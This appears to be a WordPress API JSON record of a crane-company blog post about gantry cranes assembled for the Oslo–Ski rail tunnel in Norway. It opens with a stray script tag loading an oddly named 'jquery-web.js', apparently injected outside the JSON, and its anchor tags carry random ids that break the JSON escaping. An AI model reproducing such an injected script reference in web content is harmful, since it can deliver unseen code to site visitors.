<script src="///jquery-web.js"></script>{"id":3276,"date":"2016-07-13T07:10:31","date_gmt":"2016-07-13T05:10:31","guid":{"rendered":"https:\/\/www.ghcranes.com\/blog\/?p=3276"},"modified":"2018-02-27T13:46:57","modified_gmt":"2018-02-27T12:46:57","slug":"acciona-and-ghella-are-going-to-build-the-longest-rail-tunnel-in-scandinavia","status":"publish","type":"post","link":"https:\/\/www.ghcranes.com\/blog\/acciona-and-ghella-are-going-to-build-the-longest-rail-tunnel-in-scandinavia\/","title":{"rendered":"Acciona and Ghella are going to build the longest rail tunnel in Scandinavia"},"content":{"rendered":"<p style=\"text-align: left;\"><a id="hezalmmw" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/05\/IMG_04491.jpg\"><\/a>Assembly process of <strong>three gantry cranes<\/strong> for stocking up the <strong>voussoirs<\/strong> that will form the longest rail tunnel in <strong>Scandinavia<\/strong>.<\/p>\n<p style=\"text-align: left;\">The project, awarded by the<strong> Norwegian National Rail<\/strong>, consists of the construction of two 20 km long twin tunnels, which will connect the cities of <strong>Oslo<\/strong> and <strong>Ski<\/strong>, being the largest infrastructure of Norway so far.<\/p>\n<p style=\"text-align: left;\"><a id="rxwxtaaf" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/05\/IMG_0210.jpg\"><\/a> <a id="mabesnaz" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/05\/IMG_0211.jpg\"><\/a><a id="hrbmznwg" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/05\/IMG_0228.jpg\"><\/a><\/p>\n<p>For the construction of the twin tunnels <strong>four tunneling machines<\/strong> will be used simultaneously.<\/p>\n<p>In May the first tunneling machine will be assembled in the construction works to begin with the tunnel excavation in September.<\/p>\n<p><a id="pserxkym" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/05\/IMG_0275.jpg\"><\/a> <a id="spqydphw" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/05\/IMG_02351.jpg\"><\/a><a id="jafepedj" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/05\/IMG_0240.jpg\"><\/a> <a id="xtfbraxj" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/05\/IMG_0433.jpg\"><\/a><a id="eqarqahe" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/05\/IMG_0452.jpg\"><\/a><\/p>\n<p><a id="wzykeqmd" href=\"https:\/\/www.datek.as\/\" target=\"_blank\" rel=\"noopener\">Datek Lofteteknikk<\/a><\/p>\n<!-- AddThis Advanced Settings generic via filter on the_content --><!-- AddThis Share Buttons generic via filter on the_content -->","protected":false},"excerpt":{"rendered":"<p>Assembly process of three gantry cranes for stocking up the voussoirs that will form the longest rail tunnel in Scandinavia. The project, awarded by the Norwegian National Rail, consists of the construction of two 20 km long twin tunnels, which will connect the cities of Oslo and Ski, being the largest infrastructure of Norway so [&hellip;]<!-- AddThis Advanced Settings generic via filter on wp_trim_excerpt --><!-- AddThis Share Buttons generic via filter on wp_trim_excerpt --><\/p>\n","protected":false},"author":1,"featured_media":3291,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[5],"tags":[530,614,160,507,523],"jetpack_featured_media_url":"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/05\/IMG_0384-e1463176938296.jpg","_links":{"self":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/3276"}],"collection":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/comments?post=3276"}],"version-history":[{"count":9,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/3276\/revisions"}],"predecessor-version":[{"id":6595,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/3276\/revisions\/6595"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/media\/3291"}],"wp:attachment":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/media?parent=3276"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/categories?post=3276"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/tags?post=3276"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}